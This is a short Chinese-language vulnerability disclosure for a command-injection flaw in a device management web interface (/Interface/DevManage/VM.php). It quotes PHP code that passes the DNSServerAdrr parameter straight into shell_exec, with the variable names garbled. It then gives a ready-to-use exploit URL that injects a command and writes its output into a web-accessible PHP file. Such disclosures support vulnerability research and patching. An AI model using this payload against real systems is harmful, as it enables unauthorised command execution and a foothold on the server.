在文件 /Interface/DevManage/VM.php 中:
code 区域
```
..............代码省略....................
// 设置DNS解析服务器地址
case 'setDNSServer' :
shell_exec('echo "nameserver '.['DNSServerAdrr'].'"'.' > /etc/resolv.conf');
['Code'] = 0;
getTip();
echo json_encode();
break;
default :
showErrorRequest();
break;
...........................代码省略.....................
```
上EXP:
```
code 区域
/Interface/DevManage/VM.php?cmd=setDNSServer&DNSServerAdrr=" | whoami >/usr/local/program/ecrwww/apache/htdocs/Interface/DevManage/11.php %23"
```
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